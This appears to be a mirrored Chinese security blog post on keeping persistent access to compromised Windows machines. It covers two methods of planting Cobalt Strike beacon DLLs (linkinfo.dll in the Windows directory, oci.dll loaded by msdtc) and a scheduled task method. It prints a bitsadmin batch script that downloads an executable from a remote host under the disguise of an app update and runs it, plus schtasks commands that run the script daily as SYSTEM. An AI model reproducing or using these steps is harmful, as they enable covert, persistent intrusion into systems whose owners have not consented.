5

Win 权限维持小思路 _巡安似海 — 安全社区的技术博客_51CTO博客

 1 year ago
source link: https://blog.51cto.com/xunansec/5767938
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Win 权限维持小思路

精选 原创

巡安似海 2022-10-18 17:50:39 博主文章分类:技术文章 ©著作权

文章标签 计划任务 重启 加载 文章分类 安全技术 网络/安全 yyds干货盘点 阅读数197

0x01 linkinfo.dll

介绍:explorer进程每隔一段时间就会自动去加载它一次所以可以用来做权限维持。使用Cobaltstrike生成对应系统位数DLL文件放置目标系统C:\Windows\目录下重命名为linkinfo.dll

Win 权限维持小思路 _计划任务

等待目标用户重启计算机后上线,如果系统用户不是Administrator用户需要bypassuac,注意用户一旦注销beacon就会掉

Win 权限维持小思路 _加载_02

总结:实战里利用略为鸡肋,管理员一般自己是不会重启服务器,自己重启动静太大。

0x02 劫持 msdtc

介绍:msdtc程序每次启动时都会加载三个dll,oci.dll默认是不存在的,可以通过劫持这个 dll以达到权限维持目的,位于注册表:​​HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI​

Win 权限维持小思路 _计划任务_03

使用Cobaltstrike生成命名为oci.dll放置目标系统​​c:\windows\system32\​​目录下,然后执行cmd命令kill掉:​​taskkill /f /im msdtc.exe ​​等待一段时间,mstdc.exe重新启动,成功加载oci.dll,有些文章说重启过后beacon弹回来得用户是system权限,测试发现用户为network权限。

Win 权限维持小思路 _加载_04

总结:弹回来得权限为network权限较低,所以需要自己进行权限提升

0x03 windwos计划任务

介绍:通过计划任务执行bitsadmin 来远程加载执行beacon

Win 权限维持小思路 _加载_05

准备计划任务执行的bat脚本update.bat,放到目标机器临时目录下​​c:\windows\temp\delete.bat​

[delete.bat]
cd %TEMP
bitsadmin /Reset > NUL
bitsadmin /Create "Automatic App Update" > NUL
bitsadmin /AddFile "Automatic App Update" http://192.168.244.128:83/Update.ini %TEMP%\AppUpdateInstall.exe > NUL
bitsadmin /SetNotifyFlags "Automatic App Update" 1 > NUL
bitsadmin.exe
/SetNotifyCmdLine "Automatic App Update" "%COMSPEC%" "cmd.exe /c
bitsadmin.exe /complete \"Automatic App Update\" && start /B
%TEMP%\AppUpdateInstall.exe" > NUL
bitsadmin /SetMinRetryDelay "Automatic App Update" 120 > NUL
bitsadmin /SetCustomHeaders "Automatic App Update" "Caller:%USERNAME%@%COMPUTERNAME%" > NUL
c:\windows\system32\bitsadmin.exe /Resume "Automatic App Update"

在beacon当中执行计划任务命令当到了指定时间后,baecon即可正常被弹回得到system权限。

[计划任务]

schtasks /create /RL HIGHEST /F /tn "Automatic App Update" /tr "C:\Windows\temp\delete.bat" /sc DAILY /mo 1 /ST 19:05 /RU SYSTEM
schtasks /query | findstr "Automatic App Update"
schtasks /run /tn "Automatic App Update"
schtasks /delete /F /tn "Automatic App Update"
Win 权限维持小思路 _重启_06

总结:不需要重启服务器,但是国内某些杀软会拦截创建计划任务动作,还需要配合免杀马来执行。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK